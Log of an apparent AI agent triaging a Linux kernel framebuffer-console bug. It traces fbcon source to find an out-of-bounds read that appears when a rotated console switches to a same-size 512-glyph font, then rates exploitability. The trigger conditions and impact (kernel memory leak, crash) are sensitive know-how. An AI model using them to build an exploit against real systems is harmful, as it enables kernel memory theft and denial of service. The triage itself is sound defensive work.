3255: /* A space is printed in the second column */
3256: tc = conv_uni_to_pc(vc, ' ');
3257: if (tc < 0)
3258: tc = ' ';
3259: /*
3260: * Store a zero-width space in the Unicode screen given that
3261: * the previous code point is semantically double width.
3262: */
3263: next_c = UCS_ZWS;
3264: }
3265:
3266: out:
3267: notify_write(vc, c);
3268:
3269: if (inverse)
3270: con_flush(vc, draw);
3271:
3272: return 0;
3273: }
SourceFile:drivers/tty/vt/vt.c]
|
| 76/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 59399
output: 42
thoughts: 637
Thoughts: **Analyzing a Font Rotation Vulnerability**
Okay, let's break this down. That `tc` line... `tc = ((tc & 0x100) ? himask : 0) | (tc & 0xff);` is the key. If `himask` is `0x100` and the 9th bit of `tc` is set, it effectively sets bit 9. This means someone can potentially write characters beyond the standard ASCII range. Specifically, they can write characters that map to glyph indices greater than or equal to 256. If a 512-character font is loaded, they can write from 256-511.
The critical path, I'm tracing, is writing via `scr_writew` to the screen buffer. Then, `con_flush` or `update_screen` calls `cw_putcs_aligned`. Now *this* is interesting. `cw_putcs_aligned` reads from `par->rotated.buf` using that index. If the index is >= 256, and `par->rotated.buf` was allocated for only 256 characters⦠boom, out-of-bounds read!
So, the vulnerability is triggered by an unprivileged user, *provided* the console is rotated. That's a huge caveat. What if it's not rotated?
If the console *isn't* rotated, `par->rotated.buf` is NULL, correct? Ah, yes, `cw_putcs` itself checks for `!par->rotated.buf` and just returns, so if not rotated, nothing happens. Wait, no, because not rotated the `putcs` functions are different. If not rotated the `putcs` functions use `fbcon_putcs` which calls `fbcon_cfb16_putcs` or something, not `cw_putcs`. `cw_putcs` is only used when the rotation is Clockwise (CW)! We also have `ccw_putcs`, and `ud_putcs`, all of those use `par->rotated.buf`. The bug *only* affects rotated consoles (CW, CCW, or UD). If there's no rotation, `par->rotated.buf` isn't used. The normal `putcs` functions then read directly from `vc->vc_font.data`. Importantly, `vc->vc_font.data` *is* reallocated by `fbcon_do_set_font` to the new size (512 chars). So if the console isn't rotated, there's no out-of-bounds read. The bug *is* specific to rotated consoles.
Now, can an unprivileged user even rotate the console? I checked `rotate_all_store` and `rotate_store`; those are root-only. Is there another way? Could `FBIOPUT_VSCREENINFO` be used? Does `fb_set_var` change the rotation? I need to check `fb_set_var`. That's the next step.
|
| 77/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbmem.c Name:fb_set_var]
Results: map[SourceCode: 231: int
232: fb_set_var(struct fb_info *info, struct fb_var_screeninfo *var)
233: {
234: int ret = 0;
235: u32 activate;
236: struct fb_var_screeninfo old_var;
237: struct fb_videomode mode;
238: u32 unused;
239:
240: if (var->activate & FB_ACTIVATE_INV_MODE) {
241: struct fb_videomode mode1, mode2;
242:
243: fb_var_to_videomode(&mode1, var);
244: fb_var_to_videomode(&mode2, &info->var);
245: /* make sure we don't delete the videomode of current var */
246: ret = fb_mode_is_equal(&mode1, &mode2);
247: if (!ret) {
248: ret = fbcon_mode_deleted(info, &mode1);
249: if (!ret) {
250: if (info->mode && fb_mode_is_equal(info->mode, &mode1))
251: info->mode = NULL;
252: fb_delete_videomode(&mode1, &info->modelist);
253: }
254: }
255:
256: return ret ? -EINVAL : 0;
257: }
258:
259: if (!(var->activate & FB_ACTIVATE_FORCE) &&
260: !memcmp(&info->var, var, sizeof(struct fb_var_screeninfo)))
261: return 0;
262:
263: activate = var->activate;
264:
265: /* When using FOURCC mode, make sure the red, green, blue and
266: * transp fields are set to 0.
267: */
268: if ((info->fix.capabilities & FB_CAP_FOURCC) &&
269: var->grayscale > 1) {
270: if (var->red.offset || var->green.offset ||
271: var->blue.offset || var->transp.offset ||
272: var->red.length || var->green.length ||
273: var->blue.length || var->transp.length ||
274: var->red.msb_right || var->green.msb_right ||
275: var->blue.msb_right || var->transp.msb_right)
276: return -EINVAL;
277: }
278:
279: if (!info->fbops->fb_check_var) {
280: *var = info->var;
281: return 0;
282: }
283:
284: /* bitfill_aligned() assumes that it's at least 8x8 */
285: if (var->xres < 8 || var->yres < 8)
286: return -EINVAL;
287:
288: /* Too huge resolution causes multiplication overflow. */
289: if (check_mul_overflow(var->xres, var->yres, &unused) ||
290: check_mul_overflow(var->xres_virtual, var->yres_virtual, &unused))
291: return -EINVAL;
292:
293: ret = info->fbops->fb_check_var(var, info);
294:
295: if (ret)
296: return ret;
297:
298: /* verify that virtual resolution >= physical resolution */
299: if (var->xres_virtual < var->xres ||
300: var->yres_virtual < var->yres) {
301: pr_warn("WARNING: fbcon: Driver '%s' missed to adjust virtual screen size (%ux%u vs. %ux%u)\n",
302: info->fix.id,
303: var->xres_virtual, var->yres_virtual,
304: var->xres, var->yres);
305: return -EINVAL;
306: }
307:
308: if ((var->activate & FB_ACTIVATE_MASK) != FB_ACTIVATE_NOW)
309: return 0;
310:
311: if (info->fbops->fb_get_caps) {
312: ret = fb_check_caps(info, var, activate);
313:
314: if (ret)
315: return ret;
316: }
317:
318: old_var = info->var;
319: info->var = *var;
320:
321: if (info->fbops->fb_set_par) {
322: ret = info->fbops->fb_set_par(info);
323:
324: if (ret) {
325: info->var = old_var;
326: printk(KERN_WARNING "detected "
327: "fb_set_par error, "
328: "error code: %d\n", ret);
329: return ret;
330: }
331: }
332:
333: fb_pan_display(info, &info->var);
334: fb_set_cmap(&info->cmap, info);
335: fb_var_to_videomode(&mode, &info->var);
336:
337: if (info->modelist.prev && info->modelist.next &&
338: !list_empty(&info->modelist))
339: ret = fb_add_videomode(&mode, &info->modelist);
340:
341: if (ret) {
342: info->var = old_var;
343: return ret;
344: }
345:
346: fb_lcd_notify_mode_change(info, &mode);
347:
348: return 0;
349: }
SourceFile:drivers/video/fbdev/core/fbmem.c]
|
| 78/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 62588
output: 46
thoughts: 119
Thoughts: **Investigating the Variable Setting in the Framebuffer Driver**
Okay, so I'm digging into how variables are set within this framebuffer driver. My initial understanding, and what I *thought* was happening, is that `fb_set_var` updates the `info->var` structure, which makes sense. However, I'm noticing it *doesn't* directly touch `par->rotate` or `p->con_rotate`. That's a little odd, I need to understand the relationship and if I am misinterpreting something.
Wait a minute, was `fb_set_var` supposed to trigger `fb_notifier_call_chain(FB_EVENT_MODE_CHANGE, &event);`? My instinct says it should, because a variable change probably indicates a mode change. But, I don't see that call. I need to make sure I am not missing a step.
Ah, hang on, this feels familiar. Did `fb_set_var` *used* to call that notifier, and perhaps the implementation changed at some point? Maybe it was refactored or moved to a different function? To get to the bottom of this, I need to check the function that's likely the user space interface for the same operation. Let's look at `fb_set_var_from_user` and trace its execution to see where the event triggering logic now resides, or if it was removed completely.
|
| 79/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbmem.c Name:fb_set_var_from_user]
Results: map[SourceCode: 352: int fb_set_var_from_user(struct fb_info *info, struct fb_var_screeninfo *var)
353: {
354: int ret = fbcon_modechange_possible(info, var);
355:
356: if (!ret)
357: ret = fb_set_var(info, var);
358: if (!ret)
359: fbcon_update_vcs(info, var->activate & FB_ACTIVATE_ALL);
360:
361: return ret;
362: }
SourceFile:drivers/video/fbdev/core/fbmem.c]
|
| 80/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 63258
output: 44
thoughts: 18
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Connecting the Dots: fbcon_update_vcs and fbcon_modechanged**
Right, so `fbcon_update_vcs`... I'm immediately thinking, that function is likely responsible for, well, updating the virtual console's display after something has changed. That "vcs" almost certainly refers to the virtual console. I'm assuming it handles things like refreshing the screen contents based on modifications to the frame buffer. Then, the question arises β is it calling `fbcon_modechanged`? This sparks the connection in my mind. `fbcon_modechanged`, judging by the name, is almost certainly related to *display mode changes*. Thinking about it, the act of updating the console's visual output, `fbcon_update_vcs`, would logically need to be aware of or perhaps *react to* a mode change, `fbcon_modechanged`. A mode change alters the screen resolution or color depth, or something fundamental to how the console looks. Therefore, if `fbcon_update_vcs` is responsible for rendering the console's display after a change, then it would *have to be* aware of any changes in the display's configuration. It would be a bit strange if the former wasn't interacting with the latter. I need to look into this interaction more closely, but my gut tells me this is a crucial piece of the puzzle.
|
| 81/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_update_vcs]
Results: map[SourceCode:2729: void fbcon_update_vcs(struct fb_info *info, bool all)
2730: {
2731: if (all)
2732: fbcon_set_all_vcs(info);
2733: else
2734: fbcon_modechanged(info);
2735: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 82/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 63765
output: 44
thoughts: 156
Thoughts: **Investigating the Framebuffer Console Rotation Path**
Okay, so I'm tracing this `fbcon_update_vcs` function, and it looks like it's calling either `fbcon_modechanged` or `fbcon_set_all_vcs` β which makes sense. Now, `fbcon_modechanged` is key; it's calling `par->bitops->rotate_font(info, vc)`. That's where the rotation logic should be. But... hold on, `par->bitops` is dependent on the `par->rotate` value. If `par->rotate` is zero, which is the default for no rotation, `par->bitops` is set to something like `fbcon_cfb16_putcs` or similar. And here's the kicker: *those* bitops functions, don't implement the `rotate_font` method! That's a problem, isn't it? Something's not right. I need to go back and check the `fbcon_set_bitops` function to understand precisely when and how those bit operations are configured. I need to be sure this makes sense... I think I'm missing something, because if `par->rotate` is zero, how are rotated fonts even working?
|
| 83/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_set_bitops]
Results: map[SourceCode: 275: static void fbcon_set_bitops(struct fbcon_par *par)
276: {
277: switch (par->rotate) {
278: default:
279: fallthrough;
280: case FB_ROTATE_UR:
281: fbcon_set_bitops_ur(par);
282: break;
283: case FB_ROTATE_CW:
284: fbcon_set_bitops_cw(par);
285: break;
286: case FB_ROTATE_UD:
287: fbcon_set_bitops_ud(par);
288: break;
289: case FB_ROTATE_CCW:
290: fbcon_set_bitops_ccw(par);
291: break;
292: }
293: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 84/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 64530
output: 48
thoughts: 15
Thoughts: Okay, let's dive into this. Here's my thought process on checking `fbcon_set_bitops_ur`, from my perspective as an expert:
**Investigating `fbcon_set_bitops_ur`**
Right, `fbcon_set_bitops_ur`. My initial hunch is that this is likely related to the framebuffer console, specifically the setting of bit operations within the `ur` context, which I immediately recognize relates to unaligned reads and writes. I need to understand what its functions are within the framebuffer code base. Are we talking about optimizing memory access for specific architectures? Is it handling hardware quirks? Is it related to color depth or pixel formats? I need to analyze how this function interacts with the overall framebuffer driver architecture. I'll need to remember any prior experiences with potential issues surrounding these specific operations. My next steps are clearly to find the definition and all relevant calls to this function. Then I'll be able to confirm or correct my initial thoughts.
|
| 85/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_ur.c Name:fbcon_set_bitops_ur]
Results: map[SourceCode: 396: void fbcon_set_bitops_ur(struct fbcon_par *par)
397: {
398: par->bitops = &bit_fbcon_bitops;
399: }
SourceFile:drivers/video/fbdev/core/bitblit.c]
|
| 86/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 64901
output: 44
thoughts: 13
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience and presented in the first person:
**Diving into `bit_fbcon_bitops`**
Right, let's zero in on `bit_fbcon_bitops`. I need to refresh my memory on what's happening within that section. It's likely involved with the low-level framebuffer operations using bitwise operations, but I want to make sure I'm crystal clear on the specifics. I probably need to re-familiarize myself with the relevant data structures (like the `fb_info` structure and how it relates to the underlying hardware) to understand how these bit-level manipulations are applied to the framebuffer memory. My focus is going to be on the performance implications here. Bitwise operations are usually optimized, but any overhead introduced from the surrounding code or the specific hardware architecture must be accounted for.
|
| 87/2 |
2026/08/12 15:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/bitblit.c Name:bit_fbcon_bitops]
Results: map[SourceCode: 387: static const struct fbcon_bitops bit_fbcon_bitops = {
388: .bmove = bit_bmove,
389: .clear = bit_clear,
390: .putcs = bit_putcs,
391: .clear_margins = bit_clear_margins,
392: .cursor = bit_cursor,
393: .update_start = bit_update_start,
394: };
SourceFile:drivers/video/fbdev/core/bitblit.c]
|
| 88/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 65310
output: 43
thoughts: 1233
Thoughts: **Bug Analysis: Console Rotation and Privilege Escalation**
Okay, so here's the breakdown of this potential vulnerability. First, there's no `rotate_font` function involved. If the console isn't rotated (`par->rotate` is 0), then `fbcon_modechanged` won't call a `rotate_font` function, which then means `par->rotated.buf` doesn't get allocated. Therefore, the bug *cannot* be triggered if the console is not rotated. That's the baseline.
So, the console *needs* to be rotated. Can an unprivileged user do that? We've already established that direct access to `rotate_all_store` and `rotate_store` requires root. What about `FBIOPUT_VSCREENINFO`? Does it change the rotate parameters? I checked `fbcon_set_rotation` and it uses `par->p->con_rotate`, *not* `info->var.rotate`. So, `FBIOPUT_VSCREENINFO` *doesn't* change the console's rotation state. This means unprivileged users *can't* directly rotate the console through standard means.
So, the bug is only exploitable if the console is *already* rotated, either by root or via a kernel command-line parameter. Is that a common configuration? No, not really on standard desktops or servers, but on some devices like tablets, phones, and embedded systems, it's totally plausible.
Okay, let's explore how rotation is set in the first place, is there some other way an unprivileged user can set `con_rotate`? The code shows that `con_rotate` is initialized in `fbcon_startup` and `fbcon_init`, but there's no other way an unprivileged user can set the rotation configuration.
So, here's what we have:
- **Exploitability:** The bug *is* exploitable. It's an out-of-bounds read, potentially leaking heap memory to the framebuffer. This leaked memory can be read if the user has read access to `/dev/fb0` or can see the screen. It can also lead to a kernel panic (DoS) if it tries to read beyond the memory page, potentially causing a crash.
- **Denial of Service:** Yes, it can cause a kernel panic (a page fault).
- **Accessibility from Unprivileged Processes:** Yes, but *conditionally*. An unprivileged user can trigger it *if* the console is already rotated. The user just needs to open `/dev/tty1` and call `KDFONTOP` ioctls.
- **Accessibility from User Namespaces:** Yes, same as above (conditionally).
- **VM Guest Trigger:** No.
- **VM Host Trigger in The Confidential Computing Context:** No.
- **Ethernet Network Trigger:** No.
- **Other Remote Trigger:** No.
- **Peripheral Trigger:** No.
- **Malicious Filesystem Trigger:** No.
But let me go back to the unprivileged accessibility. The reproducer seems to run as an unprivileged user. It tries to open `/sys/class/graphics/fbcon/rotate_all`. If it's run as root, that open will succeed, and the write will happen. If it's run as an unprivileged user, the open will *fail* unless the console is already rotated. *Then* the bug is triggered if the console is rotated. Since we are evaluating if the bug CAN be reached from a *typical* unprivileged user process and it *can* if the system is configured with a rotated console, we should mark it as accessible from unprivileged processes, though it's conditional. It is a valid production configuration. So, conditionally, it can be triggered by unprivileged processes.
Okay, is there *any* other out-of-bounds access if the console *isn't* rotated? No, because when not rotated `fbcon_putcs` uses the standard font data (`vc->vc_font.data`).
|
| 89/2 |
2026/08/12 15:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/bitblit.c Name:bit_putcs_aligned]
Results: map[SourceCode: 75: static inline void bit_putcs_aligned(struct vc_data *vc, struct fb_info *info,
76: const u16 *s, u32 attr, u32 cnt,
77: u32 d_pitch, u32 s_pitch, u32 cellsize,
78: struct fb_image *image, u8 *buf, u8 *dst)
79: {
80: u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
81: unsigned int charcnt = vc->vc_font.charcount;
82: u32 idx = vc->vc_font.width >> 3;
83: const u8 *src;
84:
85: while (cnt--) {
86: u16 ch = scr_readw(s++) & charmask;
87:
88: if (ch >= charcnt)
89: ch = 0;
90: src = vc->vc_font.data + (unsigned int)ch * cellsize;
91:
92: if (attr) {
93: update_attr(buf, src, attr, vc);
94: src = buf;
95: }
96:
97: if (likely(idx == 1))
98: __fb_pad_aligned_buffer(dst, d_pitch, src, idx,
99: image->height);
100: else
101: fb_pad_aligned_buffer(dst, d_pitch, src, idx,
102: image->height);
103:
104: dst += s_pitch;
105: }
106:
107: info->fbops->fb_imageblit(info, image);
108: }
SourceFile:drivers/video/fbdev/core/bitblit.c]
|
| 90/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 68015
output: 45
thoughts: 115
Thoughts: **Analyzing Character Index Handling in `bit_putcs_aligned`**
Okay, so I'm looking at `bit_putcs_aligned` again, and something just clicked. There's that crucial check:
```c
u16 ch = scr_readw(s++) & charmask;
if (ch >= charcnt)
ch = 0;
```
It's explicitly checking if the character index `ch` is greater than or equal to `charcnt`. If it *is*, the code sets `ch` to zero! Bingo. This means that *in a non-rotated console configuration* (a key point!), `bit_putcs_aligned` is already gracefully handling out-of-bounds character indexes. It's effectively substituting an invalid index with a null character. This is precisely what I was hoping to see. Now, let's circle back and re-examine `cw_putcs_aligned`, armed with this new insight. The solution may be easier than I initially thought.
|
| 91/2 |
2026/08/12 15:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_cw.c Name:cw_putcs_aligned]
Results: map[SourceCode: 83: static inline void cw_putcs_aligned(struct vc_data *vc, struct fb_info *info,
84: const u16 *s, u32 attr, u32 cnt,
85: u32 d_pitch, u32 s_pitch, u32 cellsize,
86: struct fb_image *image, u8 *buf, u8 *dst)
87: {
88: struct fbcon_par *par = info->fbcon_par;
89: u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
90: u32 idx = font_glyph_pitch(vc->vc_font.height);
91: u8 *src;
92:
93: while (cnt--) {
94: src = par->rotated.buf + (scr_readw(s++) & charmask) * cellsize;
95:
96: if (attr) {
97: cw_update_attr(buf, src, attr, vc);
98: src = buf;
99: }
100:
101: if (likely(idx == 1))
102: __fb_pad_aligned_buffer(dst, d_pitch, src, idx,
103: vc->vc_font.width);
104: else
105: fb_pad_aligned_buffer(dst, d_pitch, src, idx,
106: vc->vc_font.width);
107:
108: dst += d_pitch * vc->vc_font.width;
109: }
110:
111: info->fbops->fb_imageblit(info, image);
112: }
SourceFile:drivers/video/fbdev/core/fbcon_cw.c]
|
| 92/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 68920
output: 47
thoughts: 57
Thoughts: Okay, here's my assessment of the situation:
**Potential Buffer Overflow Vulnerability in Aligned String Output Functions**
Alright, I'm taking a look at these `_putcs_aligned` functions β specifically `cw_putcs_aligned`, `ccw_putcs_aligned`, and `ud_putcs_aligned`. The immediate red flag is that it *appears* the `cw_putcs_aligned` function is missing the critical `ch >= charcnt` check. Thatβs a potential buffer overflow vulnerability right there. No bounds check? Yikes. If a string is longer than the buffer size it's writing into, you're toast.
The next obvious thing to do is to quickly verify if the other `_putcs_aligned` functions share the same oversight. Since they are so similar in purpose, I'm expecting `ccw_putcs_aligned` and `ud_putcs_aligned` to be similarly lacking in robust bounds checking, but let's not assume anything. I need to confirm this before I start a complete code review, but checking `ccw_putcs_aligned` is my next immediate priority.
|
| 93/2 |
2026/08/12 15:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_ccw.c Name:ccw_putcs_aligned]
Results: map[SourceCode: 98: static inline void ccw_putcs_aligned(struct vc_data *vc, struct fb_info *info,
99: const u16 *s, u32 attr, u32 cnt,
100: u32 d_pitch, u32 s_pitch, u32 cellsize,
101: struct fb_image *image, u8 *buf, u8 *dst)
102: {
103: struct fbcon_par *par = info->fbcon_par;
104: u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
105: u32 idx = font_glyph_pitch(vc->vc_font.height);
106: u8 *src;
107:
108: while (cnt--) {
109: src = par->rotated.buf + (scr_readw(s--) & charmask) * cellsize;
110:
111: if (attr) {
112: ccw_update_attr(buf, src, attr, vc);
113: src = buf;
114: }
115:
116: if (likely(idx == 1))
117: __fb_pad_aligned_buffer(dst, d_pitch, src, idx,
118: vc->vc_font.width);
119: else
120: fb_pad_aligned_buffer(dst, d_pitch, src, idx,
121: vc->vc_font.width);
122:
123: dst += d_pitch * vc->vc_font.width;
124: }
125:
126: info->fbops->fb_imageblit(info, image);
127: }
SourceFile:drivers/video/fbdev/core/fbcon_ccw.c]
|
| 94/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 69814
output: 45
thoughts: 16
Thoughts: Here's my attempt at summarizing those thoughts, tailored for an expert audience and written in the first person:
**Quick Verification & a Follow-up Question**
Okay, first things first, did the initial operation complete successfully? **Yes, no check!** The immediate priority is to ensure the process yielded the anticipated positive outcome.
Now, my mind moves on to a potential point of optimization. Was `ud_putcs_aligned` utilized?
|
| 95/2 |
2026/08/12 15:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_ud.c Name:ud_putcs_aligned]
Results: map[SourceCode: 84: static inline void ud_putcs_aligned(struct vc_data *vc, struct fb_info *info,
85: const u16 *s, u32 attr, u32 cnt,
86: u32 d_pitch, u32 s_pitch, u32 cellsize,
87: struct fb_image *image, u8 *buf, u8 *dst)
88: {
89: struct fbcon_par *par = info->fbcon_par;
90: u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
91: u32 idx = vc->vc_font.width >> 3;
92: u8 *src;
93:
94: while (cnt--) {
95: src = par->rotated.buf + (scr_readw(s--) & charmask) * cellsize;
96:
97: if (attr) {
98: ud_update_attr(buf, src, attr, vc);
99: src = buf;
100: }
101:
102: if (likely(idx == 1))
103: __fb_pad_aligned_buffer(dst, d_pitch, src, idx,
104: image->height);
105: else
106: fb_pad_aligned_buffer(dst, d_pitch, src, idx,
107: image->height);
108:
109: dst += s_pitch;
110: }
111:
112: info->fbops->fb_imageblit(info, image);
113: }
SourceFile:drivers/video/fbdev/core/fbcon_ud.c]
|
| 96/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 70476
output: 66
thoughts: 1077
Thoughts: **Bug Analysis: Out-of-Bounds Read in fbcon Font Rotation**
Okay, let me break this down. First, there's no immediate check to prevent this. Even if there *were* a check based on `charcount`, it wouldn't fix it. The problem is this: `par->rotated.buf` gets allocated for 256 characters, but `vc->vc_font.charcount` can be updated to 512. That means a `ch >= 512` would still lead to an out-of-bounds read from the `par->rotated.buf`. The crucial point is that while `vc->vc_font.data` *is* reallocated correctly when the font changes (to match `vc->vc_font.charcount`), `par->rotated.buf` *isn't* reallocated if `resize` is false in `fbcon_do_set_font`.
Essentially, the bug boils down to `fbcon_do_set_font` updating `vc->vc_font.charcount` without reallocating `par->rotated.buf` when `resize` is false. This leads to the mismatch.
Let's see if there are other triggers. What if you first set a 512-char font, *then* rotate? In that scenario, `fbcon_rotate_font` is called *after* the font is already 512, so the allocation for `par->rotated.buf` will be safe. So, the bug's specific conditions are:
1. Console is rotated (so `par->rotated.buf` is allocated for the current `charcount`).
2. The user changes the font to a font with the SAME width and height, but a DIFFERENT `charcount` (e.g., 256 -> 512).
3. `fbcon_do_set_font` sees `resize == false`, so it doesn't call `fbcon_modechanged`, so `fbcon_rotate_font` is not called.
4. `par->rotated.buf` is now too small for the new `charcount`.
5. The user writes characters with index >= 256.
6. Boom, out-of-bounds read!
This is pretty clear.
**Now, let's assess the impact:**
* **Exploitable:** Yes. It's an out-of-bounds *read* from heap memory (likely kmalloc-4k or similar). The read data is written to the framebuffer. This can be read by anyone with access to `/dev/fb0` or can see the screen. It can also crash the kernel if the memory is unmapped.
* **Denial of Service:** Yes, absolutely.
* **Accessible from Unprivileged Processes:** Yes, if the console is rotated *already*. A user can open `/dev/tty1` and use `KDFONTOP` to trigger it.
* **Accessible from User Namespaces:** Yes, the same applies.
* **VM Guest Trigger:** No.
* **VM Host Trigger in the Confidential Computing Context:** No.
* **Ethernet Network Trigger:** No.
* **Other Remote Trigger:** No.
* **Peripheral Trigger:** No.
* **Malicious Filesystem Trigger:** No.
A key point is if a user *starts* with a non-rotated console, they're initially safe because an unprivileged user cannot rotate the console (the `rotate_all` function is root-only). However, a rotated console is a valid configuration (e.g., `fbcon=rotate:1`), so we must mark it as accessible from unprivileged processes.
Let me double check about `/dev/tty1`. By default, it's owned by `root:tty` with permissions `crw--w----`. If a user is logged in *on* `tty1`, then the ownership becomes `user:tty`. A logged-in user can open `/dev/tty1`. If they're on SSH, they have access to `/dev/tty`. If the reproducer is run on a virtual console locally, an unprivileged user can trigger this. So, it's a local unprivileged user issue.
|
| 97/2 |
2026/08/12 15:54 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 98/2 |
2026/08/12 15:54 |
llm |
expert |
0m
Model:
Tokens:
input: 72609
output: 671
thoughts: 225
Thoughts: **Finalizing the Bug Report**
Okay, the analysis is complete, and it's time to craft the definitive response. The issue centers around a pretty nasty out-of-bounds read within the `fbcon` driver. Essentially, it happens when the console is rotated, and we change the font to one that has the same dimensions but *more* characters β let's say a jump from 256 to 512 characters.
The problem lies in `fbcon_do_set_font`. It correctly updates `vc->vc_font.charcount`, the maximum character number, but crucially, it *doesn't* reallocate `par->rotated.buf`. That's because the screen dimensions themselves haven't changed, making the code skip the buffer resize.
So, here's where it gets interesting and dangerous. When we try to draw characters whose indices are greater than the original character count (256 in the example), functions like `cw_putcs_aligned` (or similar rotated drawing routines) are called, these functions attempt to read from `par->rotated.buf`. But, since the buffer wasn't resized, it reads past the allocated memory. This reads out-of-bounds data, and it's then written to the framebuffer.
This results in an information leak β potentially anything could be displayed on the screen, or read directly via `/dev/fb0`. Worse, this could trigger a kernel panic, resulting in a denial-of-service condition if the out-of-bounds read happens to hit an unmapped memory page.
From a security perspective, this is concerning. Local unprivileged users who have access to a virtual console (tty) and the console is set to be rotated, can trigger this vulnerability.
|
| 99/1 |
2026/08/12 15:55 |
action |
format-explanation |
0m
Results: map[Explanation:**Bug Analysis:**
The bug is a slab-out-of-bounds read in the framebuffer console (`fbcon`)
subsystem. It occurs when the console is configured to be rotated (e.g., via the
`fbcon=rotate:1` kernel command line parameter or by root writing to
`/sys/class/graphics/fbcon/rotate_all`).
When the console is rotated, `fbcon` allocates a separate buffer
(`par->rotated.buf`) to store the rotated font glyphs. The size of this buffer
is calculated based on the font's width, height, and the number of characters
(`vc->vc_font.charcount`).
The vulnerability is triggered when a user changes the console font using the
`KDFONTOP` ioctl to a new font that has the **same width and height** as the
current font, but a **larger character count** (e.g., switching from a
256-character font to a 512-character font).
In `fbcon_do_set_font()`, the code checks if the font dimensions have changed
(`resize = (w != vc->vc_font.width) || (h != vc->vc_font.height);`). Because the
dimensions are identical, `resize` evaluates to `false`. Consequently, `fbcon`
skips calling `vc_resize()`, which in turn skips the `fbcon_modechanged()` hook
that would normally reallocate `par->rotated.buf` to accommodate the larger
character count.
As a result, `vc->vc_font.charcount` is updated to 512, but `par->rotated.buf`
remains sized for only 256 characters. When the screen is redrawn and characters
with an index >= 256 (i.e., the 9th bit set) are rendered, drawing functions
like `cw_putcs_aligned()` use the character index to calculate the offset into
`par->rotated.buf`. This results in an out-of-bounds read past the end of the
allocated slab object.
**Security Impact:**
* **Exploitable:** Yes. The out-of-bounds heap memory is read and subsequently
written to the framebuffer as pixel data. An attacker who can read the
framebuffer (e.g., via `/dev/fb0` if permissions allow, or by
physically/remotely viewing the screen) can use this to leak sensitive kernel
memory (such as pointers to defeat KASLR or cryptographic keys).
* **Denial of Service:** Yes. If the out-of-bounds read crosses into an unmapped
page, it will trigger a page fault in kernel space, leading to a kernel panic
and system crash.
* **Accessible From Unprivileged Processes:** Yes. A local unprivileged user
logged into a virtual console (owning the `/dev/ttyX` device) can issue the
`KDFONTOP` ioctl to change the font and trigger the bug, provided the system is
already configured with a rotated console.
* **Accessible From User Namespaces:** Yes, similar to the above, as the
`KDFONTOP` ioctl relies on tty ownership rather than global capabilities.]
|